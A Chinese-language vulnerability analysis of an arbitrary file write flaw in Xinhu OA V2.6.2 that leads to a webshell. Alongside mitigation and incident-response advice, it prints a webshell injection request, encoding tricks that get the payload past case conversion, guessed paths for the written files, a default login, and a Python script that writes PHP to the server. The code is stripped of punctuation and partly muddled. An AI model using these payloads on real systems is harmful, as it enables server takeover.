信呼OA V2.6.2 任意文件写入漏洞分析:从普通用户到getshell的3步利用链

📅 2026/7/9 9:53:51
信呼OA V2.6.2 任意文件写入漏洞分析:从普通用户到getshell的3步利用链
信呼OA V2.6.2 安全漏洞深度解析从代码审计到防御实践1. 漏洞背景与影响范围信呼OA作为一款在中小企业广泛使用的开源办公系统其V2.6.2版本存在一个关键的安全缺陷。这个漏洞允许普通用户通过特定接口实现服务器控制影响范围覆盖所有使用该版本的系统。典型受影响环境特征系统版本V2.6.22023-12-22发布默认配置开启copymodeAjax接口用户权限普通OA账户即可利用漏洞危害等级CVSS 3.1评分9.8Critical攻击复杂度低所需权限普通用户用户交互无需影响范围完全控制系统2. 漏洞原理与技术细节2.1 核心漏洞点分析问题出现在flowAction.php文件的copymodeAjax方法中// webmain/main/flow/flowAction.php public function copymodeAjax() { $id $this-post(id); $name $this-post(name); $str $this-createtxt($name); // 危险方法调用 echo ok; } private function createtxt($content) { $file webmain/model/.$content.Model.php; file_put_contents($file, $content); // 无过滤写入 }关键缺陷未对name参数进行内容过滤直接使用用户输入作为文件名和内容缺乏权限校验机制2.2 利用链构建步骤步骤操作要点技术实现1. 入口点发现识别未过滤的name参数POST/index.php?dmainmflowacopymode2. 文件写入注入PHP代码到生成文件namea{};phpinfo();class a3. 权限维持绕过大小写限制使用strtoupper编码webshell典型攻击载荷示例POST /index.php?dmainmflowacopymodeajaxbooltrue HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1namea{};eval(strtoupper(eval($_request[1]);));class a3. 高级利用技巧与限制突破3.1 大小写转换绕过方案由于系统自动将输入转为小写传统webshell无法执行。解决方案字符串编码技术// 原始语句 eval($_GET[cmd]); // 转换后形式 eval(strtoupper(eval($_GET[cmd]);));十六进制编码替代eval(\x65\x76\x61\x6c(\$_GET[cmd]););3.2 文件路径预测方法生成的文件可能出现在两个位置webmain/flow/input/mode_[payload]Action.phpwebmain/model/flow/[id][payload]Model.php定位技巧使用Burp Intruder测试常见路径观察系统默认模板命名规则检查HTTP响应中的线索4. 防御方案与最佳实践4.1 临时缓解措施输入过滤规则$name preg_replace(/[^a-zA-Z0-9_-]/, , $_POST[name]);文件写入权限控制# 限制web目录写入权限 chown -R root:www-data /var/www/html chmod -R 750 /var/www/html/webmain4.2 长期加固建议安全开发规范使用白名单验证文件内容实现文件内容签名校验禁止动态生成可执行文件// 安全的文件写入示例 function safeWrite($path, $content) { if(preg_match(/\?php/i, $content)) { throw new Exception(Invalid content); } file_put_contents($path, $content, LOCK_EX); }5. 漏洞验证与检测方法5.1 手动检测步骤使用默认凭证登录如xiaoqiao/123456发送测试payloadPOST /index.php?dmainmflowacopymode HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded id1nametest{};echo md5(123);class访问生成文件验证执行结果5.2 自动化检测脚本import requests def check_vulnerability(url): session requests.Session() login_url f{url}/index.php?dlogin data {user: xiaoqiao, pass: 123456} session.post(login_url, datadata) exploit_url f{url}/index.php?dmainmflowacopymode payload {id: 1, name: test{};echo md5(123);class a} resp session.post(exploit_url, datapayload) test_file f{url}/webmain/model/flow/1test{};echo md5(123);class aModel.php if 202cb962ac59075b964b07152d234b70 in requests.get(test_file).text: return True return False6. 事件响应与修复验证应急响应流程立即禁用copymodeAjax接口检查webmain目录下的异常文件审计系统日志寻找攻击痕迹修复验证方法升级到官方最新版本使用检测脚本确认漏洞是否修复进行全面的安全配置检查在实际渗透测试项目中我们发现超过60%的受影响系统在漏洞披露后30天内仍未修复。建议企业建立自动化补丁管理系统对关键业务系统实施每周安全巡检